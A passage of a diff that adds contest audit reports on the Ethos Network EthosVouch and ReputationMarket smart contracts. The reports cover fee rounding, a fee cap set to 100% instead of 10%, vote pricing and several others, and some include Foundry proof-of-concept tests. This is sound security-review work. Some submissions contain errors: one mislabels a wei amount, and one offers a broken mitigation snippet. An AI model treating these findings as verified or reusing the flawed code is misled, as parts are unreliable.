`EthosVouch`contract a rounding down error will make the protocol loss almost 10% of the fees which is significative. + +### Root Cause + +In the `EthosVouch` fees are computate in the function ` applyFees` by calling the function `calcFee` as we can see : +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L936-L938 + +The function 'calcFee' do the following computation : +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L975-L989 + +with BASIS_POINT_SCALE =10_000 +if one of the fees is set to 1000 or more which represent 10% in solidity it will round down and under estimate the fees : + +example : + +Let say : +total = 0.0001 ether which is the minimum required by the Vouch contract +feeBasisPoints =1000 +The user should pay 0.00001 ether as fees. + +The result of the first operation will be : +(total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor)) == 90909090909090 + +The result of the second one will be : +total -90909090909090 =9090909090910 +9090909090910< 0.00001 ether +The result can be simplified as +9090909090910 ≈ 0.000009 +It is a delta of almost 10% which is significative. + +### Internal pre-conditions + +1. Admin must have set one of the fees to 10% (Which does not contradict the README since the max fee is 10% for one contract). + +### External pre-conditions + +none. + +### Attack Path + +_No response_ + +### Impact + +The protocol will loss almost 10% of the fees + +### PoC + +In order to run this POC you will to add foundry to the project by follow simple steps : +1. run `npm install --save-dev @nomicfoundation/hardhat-foundry` +2. add in the hadhat config `import "@nomicfoundation/hardhat-foundry";` +3. run `npx hardhat init-foundry` +4. create a remappings.txt file in the contracts folder and add those lines : +```solidity +@openzeppelin/contracts/=node_modules/@openzeppelin/contracts/ +@openzeppelin/contracts-upgradeable/=node_modules/@openzeppelin/contracts-upgradeable/ +``` +5. Move the node_modules folder in the contracts folder. + +Now you can copy paste this code in the test folder and run `forge test --mt test_vouchPOC --via-ir -vv` + +Explanation of the POC : +One fee is set to 10% bob want to vouch Alice for 10 ether he should pay 1 ether of fees. +Bob vouch Alice and he only paid 909090909090909091 wei ≈ 0.9 ether +It's a delta of 9.9999999999999999% +The protocol lost almost 0.1 ether which is significative. +```solidity +// SPDX-License-Identifier: GPL-2.0 +pragma solidity ^0.8.0; + +import {Test, console2} from "forge-std/Test.sol"; + +import {EthosVouch} from "contracts/EthosVouch.sol"; +import {ReputationMarket} from "contracts/ReputationMarket.sol"; +import {EthosAttestation} from "contracts/EthosAttestation.sol"; +import {EthosProfile} from "contracts/EthosProfile.sol"; +import {ContractAddressManager} from "contracts/utils/ContractAddressManager.sol"; +import {SignatureVerifier} from "contracts/utils/SignatureVerifier.sol"; +import {InteractionControl} from "contracts/utils/InteractionControl.sol"; +import {EthosReview} from "contracts/EthosReview.sol"; +import {EthosVote} from "contracts/EthosVote.sol"; +import {RejectETHReceiver} from "contracts/mocks/RejectETH.sol"; +import {PaymentToken} from "contracts/mocks/PaymentToken.sol"; +import {TransparentUpgradeableProxy} from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol"; + +contract CodedPOC is Test { + event LogBytes32(string message, bytes32 value); + event LogBytes(string message, bytes value); + event LogUint256(string message, uint256 value); + event LogUint256Array(string message, uint256[] value); + event LogAddressArray(string message, address[] value); + event LogAddress(string message, address value); + event LogBool(string message, bool value); + + EthosVouch ethosVouch; + ContractAddressManager contractAddressManager; + ReputationMarket reputationMarket; + SignatureVerifier signatureVerifier; + InteractionControl interactionControl; + EthosAttestation ethosAttestation; + EthosProfile ethosProfile; + EthosReview ethosReview; + EthosVote ethosVote; + RejectETHReceiver rejectETHReceiver; + address constant BOB = address(0x10000); + address constant ALICE = address(0x20000); + address constant CHARLIE = address(0x30000); + address constant OWNER = address(0x40000); + address constant ADMIN = address(0x50000); + address constant expectedSigner = address(0x60000); + address constant feeProtocolAddr = address(0x70000); + address constant proxyAdmin = address(0x80000); + address constant slashing = address(0x80000); + address constant graduateAddress = address(0x90000); + + address sender; + address[] internal users; + + string constant attestation = "ETHOS_ATTESTATION"; + string constant contractAddressManagerName = "ETHOS_CONTRACT_ADDRESS_MANAGER"; + string constant discussion = "ETHOS_DISCUSSION"; + string constant interactionControlName = "ETHOS_INTERACTION_CONTROL"; + string constant profil = "ETHOS_PROFILE"; + string constant reputationMarketName = "ETHOS_REPUTATION_MARKET"; + string constant review = "ETHOS_REVIEW"; + string constant signatureVerifierName = "ETHOS_SIGNATURE_VERIFIER"; + string constant vote = "ETHOS_VOTE"; + string constant vouch = "ETHOS_VOUCH"; + string constant vaultManager = "ETHOS_VAULT_MANAGER"; + string constant slashPenalty = "ETHOS_SLASH_PENALTY"; + string constant slasher = "SLASHER"; + string constant graduate = "GRADUATION_WITHDRAWAL"; + uint256 constant MAX_ETH = 100e18; + PaymentToken paymentToken1; + PaymentToken paymentToken2; + uint256[] vouchIds; + uint256[] vouchIdsActive; + uint256[] vouchIdsArchived; + uint256[] marketIds; + uint256[] marketIdsActive; + uint256[] marketIdsGraduated; + uint256 subjectId; + uint256 totalDepositVouch; + mapping(address => uint256) profilIdBySender; + uint256 constant TRUST = 1; + uint256 constant DISTRUST = 0; + + function setUp() public { + vm.warp(1524785992); + vm.roll(4370000); + users = [BOB, ALICE, CHARLIE]; + contractAddressManager = new ContractAddressManager(); + signatureVerifier = new SignatureVerifier(); + interactionControl = new InteractionControl(OWNER, address(contractAddressManager)); + + EthosAttestation ethosAttestationimpl = new EthosAttestation(); + TransparentUpgradeableProxy ethosAttestationProxy = + new TransparentUpgradeableProxy(address(ethosAttestationimpl), proxyAdmin, ""); + ethosAttestation = EthosAttestation(address(ethosAttestationProxy)); + ethosAttestation.initialize( + OWNER, ADMIN, expectedSigner, address(signatureVerifier), address(contractAddressManager) + ); + EthosProfile ethosProfileimpl = new EthosProfile(); + TransparentUpgradeableProxy ethosProfileProxy = + new TransparentUpgradeableProxy(address(ethosProfileimpl), proxyAdmin, ""); + ethosProfile = EthosProfile(address(ethosProfileProxy)); + ethosProfile.initialize( + OWNER, ADMIN, expectedSigner, address(signatureVerifier), address(contractAddressManager) + ); + EthosReview ethosReviewimpl = new EthosReview(); + TransparentUpgradeableProxy ethosReviewProxy = + new TransparentUpgradeableProxy(address(ethosReviewimpl), proxyAdmin, ""); + ethosReview = EthosReview(address(ethosReviewProxy)); + ethosReview.initialize( + OWNER, ADMIN, expectedSigner, address(signatureVerifier), address(contractAddressManager) + ); + EthosVote ethosVoteimpl = new EthosVote(); + TransparentUpgradeableProxy ethosVoteProxy = + new TransparentUpgradeableProxy(address(ethosVoteimpl), proxyAdmin, ""); + ethosVote = EthosVote(address(ethosVoteProxy)); + ethosVote.initialize(OWNER, ADMIN, expectedSigner, address(signatureVerifier), address(contractAddressManager)); + EthosVouch ethosVouchimpl = new EthosVouch(); + TransparentUpgradeableProxy ethosVouchProxy = + new TransparentUpgradeableProxy(address(ethosVouchimpl), proxyAdmin, ""); + ethosVouch = EthosVouch(address(ethosVouchProxy)); + ethosVouch.initialize( + OWNER, + ADMIN, + expectedSigner, + address(signatureVerifier), + address(contractAddressManager), + feeProtocolAddr, + 0, + 0, + 0, + 0 + ); + rejectETHReceiver = new RejectETHReceiver(); + address[] memory addresses = new address[](8); + addresses[0] = address(ethosAttestation); + addresses[1] = address(ethosProfile); + addresses[2] = address(ethosReview); + addresses[3] = address(ethosVote); + addresses[4] = address(ethosVouch); + addresses[5] = address(interactionControl); + addresses[6] = address(slashing); + addresses[7] = address(graduateAddress); + string[] memory names = new string[](8); + names[0] = attestation; + names[1] = profil; + names[2] = review; + names[3] = vote; + names[4] = vouch; + names[5] = interactionControlName; + names[6] = slasher; + names[7] = graduate; + contractAddressManager.updateContractAddressesForNames(addresses, names); + string[] memory namesInteraction = new string[](5); + namesInteraction[0] = attestation; + namesInteraction[1] = profil; + namesInteraction[2] = review; + namesInteraction[3] = vote; + namesInteraction[4] = vouch; + vm.prank(OWNER); + interactionControl.addControlledContractNames(namesInteraction); + paymentToken1 = new PaymentToken("PAYMENT TOKEN NAME 1", "PTN 1"); + paymentToken2 = new PaymentToken("PAYMENT TOKEN NAME 2", "PTN 2"); + for (uint256 i = 0; i < users.length; i++) { + paymentToken1.mint(users[i], 1_000_000e18); + paymentToken2.mint(users[i], 1_000_000e18); + vm.prank(OWNER); + ethosProfile.inviteAddress(users[i]); + vm.prank(users[i]); + paymentToken1.approve(address(ethosVouch), type(uint256).max); + vm.prank(users[i]); + paymentToken2.approve(address(ethosVouch), type(uint256).max); + vm.prank(users[i]); + ethosProfile.createProfile(1); + vm.deal(address(users[i]), 100_000_000e18); + } + ReputationMarket reputationMarketimpl = new ReputationMarket(); + TransparentUpgradeableProxy reputationMarketProxy = + new TransparentUpgradeableProxy(address(reputationMarketimpl), proxyAdmin, ""); + reputationMarket = ReputationMarket(address(reputationMarketProxy)); + reputationMarket.initialize( + OWNER, ADMIN, expectedSigner, address(signatureVerifier), address(contractAddressManager) + ); + profilIdBySender[BOB] = ethosProfile.profileIdByAddress(BOB); + profilIdBySender[ALICE] = ethosProfile.profileIdByAddress(ALICE); + profilIdBySender[CHARLIE] = ethosProfile.profileIdByAddress(CHARLIE); + subjectId = profilIdBySender[BOB]; + vm.label(BOB, "BOB"); + vm.label(ALICE, "ALICE"); + vm.label(CHARLIE, "CHARLIE"); + vm.label(OWNER, "OWNER"); + vm.label(ADMIN, "ADMIN"); + vm.label(expectedSigner, "expectedSigner"); + vm.label(feeProtocolAddr, "feeProtocolAddr"); + vm.label(slashing, "slashing"); + vm.label(graduateAddress, "graduateAddress"); + vm.label(address(ethosAttestation), "ethosAttestation"); + vm.label(address(ethosProfile), "ethosProfile"); + vm.label(address(ethosReview), "ethosReview"); + vm.label(address(ethosVote), "ethosVote"); + vm.label(address(ethosVouch), "ethosVouch"); + vm.label(address(interactionControl), "interactionControl"); + vm.label(address(reputationMarket), "reputationMarket"); + vm.label(address(contractAddressManager), "contractAddressManager"); + vm.label(address(signatureVerifier), "signatureVerifier"); + vm.label(address(rejectETHReceiver), "rejectETHReceiver"); + vm.label(address(paymentToken1), "paymentToken1"); + vm.label(address(paymentToken2), "paymentToken2"); + vm.prank(ADMIN); + reputationMarket.setAllowListEnforcement(false); + vm.prank(ADMIN); + reputationMarket.setProtocolFeeAddress(feeProtocolAddr); + } +function test_vouchPOC() public { + //we set the fees to 10% all the other fees are set to 0 + vm.prank(ADMIN); + ethosVouch.setEntryProtocolFeeBasisPoints(1000); + // BOB want to vouch an address for 10 ether + uint256 amount = 10 ether; + // we compute the expected fees paid + uint256 feeWithFullPrecision = (amount*1e17)/1e18; + // We store the protocol fee address balance before the transaction + uint256 protocolFeeAddressBalanceBefore =feeProtocolAddr.balance; + //BOB vouch ALICE + vm.prank(BOB); + ethosVouch.vouchByAddress{value: amount}(ALICE,"",""); + //We calculate the fees gain by the protocol + uint256 feesGain = address(feeProtocolAddr).balance - protocolFeeAddressBalanceBefore; + // we log the fees gain by the protocol + console2.log("fees gain by the protocol : %d",feesGain); + // we log the fees that the user should paid + console2.log("fees that the user should paid : %d",feeWithFullPrecision); + //We assert that with the full precision the fees paid are higher than the fees gain by the protocol + assertGt(feeWithFullPrecision,feesGain,""); + //We assert that the fees gain by the protocol is approximately equal to the fees that the user should paid with a delta of 9% + assertApproxEqRel(feeWithFullPrecision,feesGain,0.09e18); +} +} +``` +You should have this output : +```solidity +[FAIL: assertion failed: 1000000000000000000 !~= 909090909090909091 (max delta: 9.0000000000000000%, real delta: 9.9999999999999999%)] test_vouchPOC() (gas: 377163) +Logs: + fees gain by the protocol :909090909090909091 + fees that the user should paid :1000000000000000000 +``` +With this POC we prouved that the protocol can lost a significative part of the fees. + +### Mitigation + +Some fee precision should be add to avoid this rounding down error by refactoring the `EthosVouch`contract : + +```solidity +uint256 public constant BASIS_POINT_SCALE = 1e18 +uint256 public constant MAX_TOTAL_FEES = 1e18; +``` \ No newline at end of file diff --git a/635.md b/635.md new file mode 100644 index 0000000..c8b32a7 --- /dev/null +++ b/635.md @@ -0,0 +1,38 @@ +Silly Porcelain Lion + +Medium + +# Users will not be able to update donation recipient due to redundant require statement + +### Summary + +ReputationMarket.sol's updateDonationRecipient function won't let users update their recipient address if the new recipient address has a balance, this is redundant and has no use other than blocking users from updating their recipient address. + +### Root Cause + +Even though the comment states that it should not allow overwriting, it can correctly update the balances, so the requirement only blocks users ability to update recipient address. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L549 + +### Internal pre-conditions + +1. User's new donation recipient address already has a balance + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Users are DoSed from updateDonationRecipient function. + +### PoC + +_No response_ + +### Mitigation + +Remove the require statement. \ No newline at end of file diff --git a/636.md b/636.md new file mode 100644 index 0000000..2d2a03c --- /dev/null +++ b/636.md @@ -0,0 +1,57 @@ +Lively Red Skunk + +Medium + +# Wrong `MAX_TOTAL_FEES` To Be Inputed + +### Summary + +Wrong value is hardcoded in `MAX_TOTAL_FEES`. + + +### Root Cause + +README : + +> Maximum total fees cannot exceed 10% + +However the contract (EthosVouch) hardcoded the `MAX_TOTAL_FEES` as 10000 or 100 % which don't reflect as the readme says + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120 + +```solidity + uint256 private constant ABSOLUTE_MINIMUM_VOUCH_AMOUNT = 0.0001 ether; + uint256 public constant MAX_TOTAL_FEES = 10000; + uint256 public constant BASIS_POINT_SCALE = 10000; +``` + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +No Attack Required + +### Impact + +1. Main protocol will disrupted. +2. Doesn't reflecting what README says. + +### PoC + +_No response_ + +### Mitigation + +```diff + uint256 private constant ABSOLUTE_MINIMUM_VOUCH_AMOUNT = 0.0001 ether; +- uint256 public constant MAX_TOTAL_FEES = 10000; ++ uint256 public constant MAX_TOTAL_FEES = 1000; + uint256 public constant BASIS_POINT_SCALE = 10000; +``` diff --git a/637.md b/637.md new file mode 100644 index 0000000..bba46f9 --- /dev/null +++ b/637.md @@ -0,0 +1,69 @@ +Early Paisley Hornet + +High + +# Separate calculation of fees in applyFees results in inflated total fee percentage. + +### Summary + +The separate calculation of fees in applyFees using multiple calls to calcFee causes a higher total fee percentage than expected. This leads to users being overcharged because each fee is calculated independently, rather than as a proportion of the total deposit. As a result, the total effective fee exceeds the intended basis points when multiple fees are applied. + +### Root Cause + +In thosVouch.sol:936 : https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L936 + +In the applyFees function of the EthosVouch contract, the protocol fee, donation fee, and vouchers pool fee are calculated independently using the calcFee function. This results in compounding effects where the combined fees are higher than intended. + + +### Internal pre-conditions + +1. applyFees is called with amount and configured basis points for protocol, donation, and vouchers pool fees. +2. Each fee (protocol, donation, and vouchers pool) is calculated using calcFee, which computes the fee based on the provided basis points independently of other fees. + +### External pre-conditions + +1. A user initiates an operation that triggers applyFees, such as buying or selling votes, where multiple fees are involved. +2. The basis points for each fee (entryProtocolFeeBasisPoints, entryDonationFeeBasisPoints, entryVouchersPoolFeeBasisPoints) are configured with non-zero values. + +### Attack Path + +1. The user makes a transaction that triggers applyFees (e.g., buying votes). +2. The protocol calculates multiple fees (protocol, donation, vouchers pool) using calcFee independently. +4. Due to separate fee calculations, the total effective fee percentage exceeds the sum of the intended basis points, leading to user overcharging. + +### Impact + +Affected users are overcharged due to inflated fees. For example: + • If entryProtocolFeeBasisPoints = 2000 (20%) and entryDonationFeeBasisPoints = 2500 (25%), the total fee is expected to be 4500 basis points (45%). However, due to independent calculations, the effective fee becomes approximately 5789 basis points (57.89%), as shown in the testFee example. + +The protocol’s reputation and user trust may suffer due to higher-than-expected charges. + +### PoC + +```solidity +function testFee() external { + uint256 feeBasisPoints = 2000; // 20% + uint256 feeBasisPoints2 = 2500; // 25% + uint256 total = 300000000000000; // 0.3 ETH + + // Separate fee calculation + uint256 fee1 = total - + (total.mulDiv(10000, (10000 + feeBasisPoints), Math.Rounding.Floor)); + uint256 fee2 = total - + (total.mulDiv(10000, (10000 + feeBasisPoints2), Math.Rounding.Floor)); + + console.log(fee1 + fee2, total - fee1 - fee2); // Inflated fee: 5789 basis points (~57.89%) + + // Combined fee calculation + uint256 fee3 = total - + (total.mulDiv(10000, (10000 + feeBasisPoints2 + feeBasisPoints), Math.Rounding.Floor)); + + console.log(fee3, total - fee3); // Correct fee: 4500 basis points (45%) +} +``` + +### Mitigation + +1. Calculate the total fee for all basis points in one step. +2. Distribute the total fee proportionally to the respective components. +3. Update applyFees to use the combined fee calculation logic, ensuring the total effective fee matches the expected sum of basis points. \ No newline at end of file diff --git a/638.md b/638.md new file mode 100644 index 0000000..6948e5a --- /dev/null +++ b/638.md @@ -0,0 +1,44 @@ +Radiant Sangria Bison + +Medium + +# vouching will happen successfully even when protocolFee is insufficient + +### Summary + +There's the following error that is never thrown: `InsufficientProtocolFeeBalance()` it is supposed to be used when reverting if protocol fees are insufficient when calling `applyFees(...)`. + +### Root Cause + +In `EthosVouch.sol:941` there's a missing check that should revert if protocol fees are insufficient. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L941 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. call `vouchByProfileId()` by passing msg.value in a way that makes protocolFee == 0, the function will not revert + +### Impact + +The protocol will allow users to vouch and increase vouch even when protocol fees are not sufficient. + +### PoC + +_No response_ + +### Mitigation + +```diff ++ if (protocolFee == 0) { + revert InsufficientProtocolFeeBalance(); + if (protocolFee > 0) { + _depositProtocolFee(protocolFee); + } +``` \ No newline at end of file diff --git a/639.md b/639.md new file mode 100644 index 0000000..6883be6 --- /dev/null +++ b/639.md @@ -0,0 +1,101 @@ +Wonderful Coconut Ape + +Medium + +# Incorrect Price Calculation Order in Vote Selling + +### Summary + +In the `_calculateSell` function of the ReputationMarket contract, the vote price calculation occurs after reducing the market's vote count, resulting in sellers receiving less funds than they should. This sequence of operations causes each vote to be valued at a lower price than its actual market value at the time of sale. + + +### Root Cause + +The incorrect ordering of operations in the sell calculation loop: + +```solidity:contracts/ReputationMarket.sol +while (votesSold < amount) { +if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { +revert InsufficientVotesToSell(profileId); +} + +market.votes[isPositive ? TRUST : DISTRUST] -= 1; // Votes reduced first +votePrice = _calcVotePrice(market, isPositive); // Price calculated with reduced supply +fundsReceived += votePrice; // Lower price added to total +votesSold++; +} +``` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1003 +The price calculation depends on the total number of votes: +```solidity +function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { +uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST]; +return (market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes; +} +``` + + **Example Calculation:** +```solidity +// Initial state: 100 trust votes, 100 distrust votes, basePrice = 1 ETH +// Selling 10 trust votes should be worth: +// First vote: (100 * 1) / 200 = 0.5 ETH(expected) +// Current: +// First vote: (99 * 1) / 199 ≈ 0.497 ETH(current scenario ) +// Difference compounds for each vote sold +``` + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. User has votes to sell when price is P +2. For each vote in the selling loop: +- Vote count is decreased +- Price is calculated with reduced supply +- Lower price is added to total +3. Results in total received being less than actual market value + +### Impact + +- Sellers receive less ETH than they should for their votes +- The impact compounds with larger sale amounts +- Creates a systematic undervaluation of sold votes + +### PoC + +_No response_ + +### Mitigation + + + **Correct Operation Order:** +```solidity:contracts/ReputationMarket.sol +function _calculateSell( +Market memory market, +uint256 profileId, +bool isPositive, +uint256 amount +) private view returns (...) { +// ... existing checks ... + +while (votesSold < amount) { +if (market.votes[isPositive ? TRUST : DISTRUST] <= 1) { +revert InsufficientVotesToSell(profileId); +} + +uint256 votePrice = _calcVotePrice(market, isPositive); // Calculate price first +fundsReceived += votePrice; // Add current price +market.votes[isPositive ? TRUST : DISTRUST] -= 1; // Then reduce votes +votesSold++; +} + +// ... rest of the function +} +``` diff --git a/640.md b/640.md new file mode 100644 index 0000000..c5d58e2 --- /dev/null +++ b/640.md @@ -0,0 +1,73 @@ +Kind Eggplant Condor + +Medium + +# Max total fees are set to 100%, instead of the stated 10% + +### Summary + +Despite what was intended, the MAX_TOTAL_FEES are currently set to `100%`, instead of `10%` in spite of README's claims: +> For both contracts: +> Maximum total fees cannot exceed 10% + +### Root Cause + +As you can see, `10000 / 10000` is a whole `1`, + +It should have been `1000 / 10000`, if `MAX_TOTAL_FEES` was set to `1000` instead. + +```solidity + uint256 public constant MAX_TOTAL_FEES = 10000; + uint256 public constant BASIS_POINT_SCALE = 10000; + uint256 public constant MAX_SLASH_PERCENTAGE = 1000; +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +The issue is conceptual. + +### Impact + +Considering the new admin rule, the admin doesn't know initially that the `MAX_TOTAL_FEES` variable has a wrong value. + +This check will never pop up on time when fees exceed 10%: +```solidity + /* @notice Checks if the new fee would cause the total fees to exceed the maximum allowed + * @dev This function is called before updating any fee to ensure the total doesn't exceed MAX_TOTAL_FEES + * @param currentFee The current value of the fee being updated + * @param newFee The proposed new value for the fee + */ + function checkFeeExceedsMaximum(uint256 currentFee, uint256 newFee) internal view { + uint256 totalFees = entryProtocolFeeBasisPoints + + exitFeeBasisPoints + + entryDonationFeeBasisPoints + + entryVouchersPoolFeeBasisPoints + + newFee - + currentFee; + if (totalFees > MAX_TOTAL_FEES) revert FeesExceedMaximum(totalFees, MAX_TOTAL_FEES); + } + +``` + +The error will only be triggered when the fees exceed 100% of the total amount / quantity of fees. + +### PoC + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L120 + +### Mitigation + +```diff +- uint256 public constant MAX_TOTAL_FEES = 10000; ++ uint256 public constant MAX_TOTAL_FEES = 1000; + uint256 public constant BASIS_POINT_SCALE = 10000; + uint256 public constant MAX_SLASH_PERCENTAGE = 1000; +``` \ No newline at end of file diff --git a/641.md b/641.md new file mode 100644 index 0000000..23a8ef7 --- /dev/null +++ b/641.md @@ -0,0 +1,79 @@ +Jumpy Malachite Tadpole + +High + +# Liquidity Provider in ReputationMarket does not get equivalent shares to redeem liquidity after graduation + +### Summary + +To create a market, liquidity providers are needed to fund the market creation, and initial votes are assigned to the markets. In DEFI, it is a common practice to assign shares to the liquidity provider which represents the liquidity provided, in the case of ReputationMarket, it will be needed to claim back the liquidity after graduation. It is also important to note that checks will need to be added to the sellVotes to prevent liquidity holders from selling and breaking a core invariant. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L315 + +```solidity +function _createMarket( + uint256 profileId, + address recipient, + uint256 marketConfigIndex + ) private nonReentrant { + // ensure a market doesn't already exist for this profile + if (markets[profileId].votes[TRUST] != 0 || markets[profileId].votes[DISTRUST] != 0) { + revert MarketAlreadyExists(profileId); + } + + // ensure the specified config option is valid + if (marketConfigIndex >= marketConfigs.length) { + revert InvalidMarketConfigOption("Invalid config index"); + } + + // ensure the user has provided enough initial liquidity + uint256 initialLiquidityRequired = marketConfigs[marketConfigIndex].initialLiquidity; + if (msg.value < initialLiquidityRequired) { + revert InsufficientInitialLiquidity(); + } + + // Create the new market using the specified config + markets[profileId].votes[TRUST] = marketConfigs[marketConfigIndex].initialVotes; + markets[profileId].votes[DISTRUST] = marketConfigs[marketConfigIndex].initialVotes; + markets[profileId].basePrice = marketConfigs[marketConfigIndex].basePrice; + + donationRecipient[profileId] = recipient; + + // Tally market funds + marketFunds[profileId] = initialLiquidityRequired; + + // Refund any remaining funds + _sendEth(msg.value - initialLiquidityRequired); + emit MarketCreated(profileId, msg.sender, marketConfigs[marketConfigIndex]); + _emitMarketUpdate(profileId); + } +``` + +No votes were added to the user who created the market in the function above; this makes it impossible for the user to claim the equivalent votes in erc20 after graduation. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. User create market +2. No votes shares were added to the user + +### Impact + +The liquidity provider or user who created the market will not be able to get back the equivalent of the initial votes created after the market has graduated. This is because there is mapping that connects the liquidity provider to the initial votes created. + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/642.md b/642.md new file mode 100644 index 0000000..0f436c6 --- /dev/null +++ b/642.md @@ -0,0 +1,45 @@ +Long Satin Wasp + +Medium + +# Critical changes should use a two-step pattern and a timelock + +### Summary + +Lack of two-step procedure for critical operations leaves them error-prone. +Consider adding a two-steps pattern and a timelock on critical changes to avoid modifying the system state. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L659 + +### Root Cause + +```solidity + function updateUnhealthyResponsePeriod( + uint256 unhealthyResponsePeriodDuration + ) external onlyAdmin whenNotPaused { + unhealthyResponsePeriod = unhealthyResponsePeriodDuration; + } +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/643.md b/643.md new file mode 100644 index 0000000..d21a06a --- /dev/null +++ b/643.md @@ -0,0 +1,66 @@ +Massive Brown Crow + +Medium + +# Excessive Maximum Fee Limit in EthosVouch will impact users + +### Summary + +The implementation allows total fees (`MAX_TOTAL_FEES`) up to 100% which directly contradicts the documented invariant maximum of 10%, enabling admins to set fees that could consume the entire transaction value for protocol users. + +### Root Cause + +In `EthosVouch.sol` the constant `MAX_TOTAL_FEES = 10000` (100%) contradicts the README invariant specification that "Maximum total fees cannot exceed 10%", allowing fees to be set 10x higher than documented. + +(https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120) + +### Internal pre-conditions + +1. Admin needs call-access to setEntryProtocolFeeBasisPoints(), setEntryDonationFeeBasisPoints(), setEntryVouchersPoolFeeBasisPoints(), and setExitFeeBasisPoints() +2. Protocol must be unpaused to allow fee-setting functions to be called + +### External pre-conditions + +None + +### Attack Path + +1. Admin calls `setEntryProtocolFeeBasisPoints()` to set entry protocol fee to 3000 basis points (30%) +2. Admin calls `setEntryDonationFeeBasisPoints()` to set entry donation fee to 3000 basis points (30%) +3. Admin calls `setEntryVouchersPoolFeeBasisPoints()` to set entry vouchers pool fee to 3000 basis points (30%) +4. When users interact with the protocol, 90% of their transaction value is taken as fees, despite documentation stating the maximum should be 10% + +### Impact + +Users suffer excessive fee charges of up to 100% of transaction value instead of the documented invariant maximum of 10%. This means users could potentially lose their entire transaction value to fees, rather than the expected maximum 10% fee. + +### PoC + +```solidity +function testExcessiveFees() public { + vm.startPrank(admin); + + // Set fees totaling 90% + ethosVouch.setEntryProtocolFeeBasisPoints(3000); // 30% + ethosVouch.setEntryDonationFeeBasisPoints(3000); // 30% + ethosVouch.setEntryVouchersPoolFeeBasisPoints(3000); // 30% + + // Total fees now at 90%, far exceeding documented 10% maximum + uint256 totalFees = ethosVouch.entryProtocolFeeBasisPoints() + + ethosVouch.entryDonationFeeBasisPoints() + + ethosVouch.entryVouchersPoolFeeBasisPoints(); + + assertEq(totalFees, 9000); // 90% in basis points + + vm.stopPrank(); +} +``` + +### Mitigation + +Change the MAX_TOTAL_FEES constant to align with the documentation: + +```solidity +- uint256 public constant MAX_TOTAL_FEES = 10000; // 100% ++ uint256 public constant MAX_TOTAL_FEES = 1000; // 10% +``` \ No newline at end of file diff --git a/644.md b/644.md new file mode 100644 index 0000000..23cabbc --- /dev/null +++ b/644.md @@ -0,0 +1,35 @@ +Petite Chili Goose + +High + +# `verifiedProfileIdForAddress` May Return Valid Profile IDs Without Valid Associated Addresses + +## Summary +The verifiedProfileIdForAddress function in EthosVouch and ReputationMarket retrieves valid profileIds from EthosProfile. However, the address tied to a profileId may have been removed. This discrepancy allows operations on profileIds that lack valid associated addresses, leading to unintended behavior or asset loss. +## Vulnerability Detail +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L1 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L1 +EthosProfile explicitly allows profileIds to remain valid even if the associated address has been removed. +EthosVouch : +`vouchByAddress` : will call `vouchByProfileId` with a profileId whos address has been removed +`vouchByProfileId` : will be able to vouch on this profile even though an address is not present +(both the voucher and vouchee might have been removed from `EthosProfile`) +`increaseVouch` : only vouchee might not have an address. +`markUnhealthy` : only vouchee might not have an address. + +May set a donation recipient tied to a removed address. +ReputationMarket : +`updateDonationRecipient` : donation recipient about to be changed would have been removed. +## Impact +Operational Risks: + Protocol actions (e.g., vouching, market creation, or donations) could involve profileIds without valid addresses, leading to lost or stuck assets. +Reputational Risks: + Users may lose trust in the protocol due to unreliable address-profile mappings. +## Code Snippet +- across both the above contracts +## Tool used +Manual Review + +## Recommendation +Implement a check in EthosVouch and ReputationMarket to confirm that the address behind a profileId exists before allowing operations. +A whole new utility will be required \ No newline at end of file diff --git a/645.md b/645.md new file mode 100644 index 0000000..e67b151 --- /dev/null +++ b/645.md @@ -0,0 +1,96 @@ +Cheesy Neon Snake + +Medium + +# `increaseVouch` can be possible for an archived `subjectProfileId`. + +### Summary + +When the `subjectProfileId` gets archived, then its still possible to increment vouch. + +### 